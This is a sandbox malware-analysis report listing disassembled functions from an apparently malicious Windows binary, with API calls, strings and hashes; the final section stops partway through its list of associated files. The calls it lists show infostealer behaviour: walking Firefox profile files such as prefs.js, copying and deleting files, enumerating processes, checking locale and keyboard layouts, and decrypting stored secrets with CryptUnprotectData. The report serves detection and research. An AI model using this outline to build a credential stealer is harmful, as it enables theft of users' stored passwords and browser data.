Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: fe40cddcff02b4fcbabdfc40a0bc3205bac9685e19110ef8e9bd9977f4445431
Instruction ID: d668781d41669175768d5c9beeab67687ce79b442868c28804f29fd14ebf2a74
Opcode Fuzzy Hash: fe40cddcff02b4fcbabdfc40a0bc3205bac9685e19110ef8e9bd9977f4445431
Instruction Fuzzy Hash: 475173B6910218BBCB24FBB0DC85FEA737DBB48304F40458DB61996180EB79DB858F95

Function 0040F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004215B8,00420D96), ref: 0040F71E
StrCmpCA.SHLWAPI(?,004215BC), ref: 0040F76F
StrCmpCA.SHLWAPI(?,004215C0), ref: 0040F785
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040FAB1
FindClose.KERNEL32(000000FF), ref: 0040FAC3

Strings

prefs.js, xrefs: 0040F812

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 1e3647e3f7a982ad908f2651c845e7cc1bf8978409dfaa1a6776eae6255cbf84
Instruction ID: 03b4e3240ed1b335229faca8164051f94e7388f89c5e809ad56520da5e6b4575
Opcode Fuzzy Hash: 1e3647e3f7a982ad908f2651c845e7cc1bf8978409dfaa1a6776eae6255cbf84
Instruction Fuzzy Hash: B0B194719011089BCB24FF61DD51FEE7379AF54304F4081BEA40A96191EF389B9ACF9A

Function 004016D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00425114,?,00401F2C,?,004251BC,?,?,00000000,?,00000000), ref: 00401923
StrCmpCA.SHLWAPI(?,00425264), ref: 00401973
StrCmpCA.SHLWAPI(?,0042530C), ref: 00401989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00401D40
DeleteFileA.KERNEL32(00000000), ref: 00401DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00401E20
FindClose.KERNEL32(000000FF), ref: 00401E32

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Strings

\*.*, xrefs: 004017F1

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 8220f96e0c00506392342cad7066a0b34430740fc2401ec2db70ff491e501e94
Instruction ID: fa2d6fe3b05614b5a30e4509255bbbb1abe281ca63e4f804ed0983082d36a12e
Opcode Fuzzy Hash: 8220f96e0c00506392342cad7066a0b34430740fc2401ec2db70ff491e501e94
Instruction Fuzzy Hash: 681260719111189BCB15FB61CD96EEE7338AF14314F4045AEB10A62091EF386FDACFA9

Function 0040DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004214B0,00420C2A), ref: 0040DAEB
StrCmpCA.SHLWAPI(?,004214B4), ref: 0040DB33
StrCmpCA.SHLWAPI(?,004214B8), ref: 0040DB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040DDCC
FindClose.KERNEL32(000000FF), ref: 0040DDDE

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: cb963d4a19e0741f27c6405a3099effca6cff126aea0ca95f281292b31be4223
Instruction ID: 591a4703b72fe71aa373ebdc6cd180767c9b728ba7d7680c081136e576a94052
Opcode Fuzzy Hash: cb963d4a19e0741f27c6405a3099effca6cff126aea0ca95f281292b31be4223
Instruction Fuzzy Hash: 3B91A776900104ABCB14FBB1EC469ED733DAF84304F40856EF81A961C1EE389B5DCB9A

Function 0040E430 Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00420D73), ref: 0040E4A2
StrCmpCA.SHLWAPI(?,004214F8), ref: 0040E4F2
StrCmpCA.SHLWAPI(?,004214FC), ref: 0040E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0040EBDF

Strings

@, xrefs: 0040EBF5, 0040E5EB, 0040E71C, 0040E85B, 0040E4B9, 0040E5EE, 0040E71F, 0040E85E
\*.*, xrefs: 0040E44D

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*$@
API String ID: 433455689-2355794846
Opcode ID: f66feada1159486c5f539b2798b5b41736558756ad5056c64c98908e290d890f
Instruction ID: 32b04220dc81db1066fec36fe382e2e0147ddb409d88bf53f78a4e8ff9751907
Opcode Fuzzy Hash: f66feada1159486c5f539b2798b5b41736558756ad5056c64c98908e290d890f
Instruction Fuzzy Hash: 2612D5719111189ACB14FB71DD96EED7338AF54314F4045AEB00A62091EF386FDACFAA

Function 00417B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

GetKeyboardLayoutList.USER32(00000000,00000000,004205AF), ref: 00417BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00417BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00417C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417C62
LocalFree.KERNEL32(00000000), ref: 00417D22

Strings

/ , xrefs: 00417C7F

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 1912af0442f4f1b3bb0e5bffceb408ffebc7a006be0e67e5919f9285ea41dafa
Instruction ID: 4337a3d4516c1007e731de4e6e4702528bfdb1ea37c67bd3aa396c5a1b158d15
Opcode Fuzzy Hash: 1912af0442f4f1b3bb0e5bffceb408ffebc7a006be0e67e5919f9285ea41dafa
Instruction Fuzzy Hash: 6B415E71941118ABDB24DB94DC99FEEB378FF44714F20419AE10962281DB382FC6CFA5

Function 00419600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041961E
Process32First.KERNEL32(00420ACA,00000128), ref: 00419632
Process32Next.KERNEL32(00420ACA,00000128), ref: 00419647
StrCmpCA.SHLWAPI(?,00000000), ref: 0041965C
CloseHandle.KERNEL32(00420ACA), ref: 0041967A

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: efce1fcd99615d94272105280d60a4b92d78062080d1f7b2eb7e6a1284bcad8e
Instruction ID: 11d567adce4b572477f284a2ec541547db87c4b6fd8ba8cb36d7f0fd64301d48
Opcode Fuzzy Hash: efce1fcd99615d94272105280d60a4b92d78062080d1f7b2eb7e6a1284bcad8e
Instruction Fuzzy Hash: F201E9B9A40208ABCB24DFA5C958BEEB7F9EB49700F104189E90996250D7389F81CF61

Function 00409B60 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BA3
memcpy.MSVCRT(?,?,?), ref: 00409BC6
LocalFree.KERNEL32(?), ref: 00409BD3

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: c2aa43b9e4297819a9d52390c0c53cdff2035cd243deeef131e769104903eb95
Instruction ID: 8471c3d920f6d21a6ca128c50317bdd839bed9d1cf50ed0ddd6ab59e3c77a746
Opcode Fuzzy Hash: c2aa43b9e4297819a9d52390c0c53cdff2035cd243deeef131e769104903eb95
Instruction Fuzzy Hash: 46110CB8A00209EFDB04DF94D985AAE77B6FF89300F104569F915A7390D774AE10CF61

Function 00417A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00920428,00000000,?,00420E10,00000000,?,00000000,00000000), ref: 00417A63
HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,00920428,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00920428,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A7D
wsprintfA.USER32 ref: 00417AB7

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: b881c6b0ead1d296197200307cca27ecd4ed8ab0e7bcc50e28ea7705d7869b14
Instruction ID: 8af700d3b0e32b47e9d6ddd9198ddf9a5cfc8e3ba9127fd648bfb7377b14e362
Opcode Fuzzy Hash: b881c6b0ead1d296197200307cca27ecd4ed8ab0e7bcc50e28ea7705d7869b14
Instruction Fuzzy Hash: 461152B1A45228EFEB108B54DC45F9AB7B8FB05711F10439AE516932C0D7785A40CF55

Function 00417850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
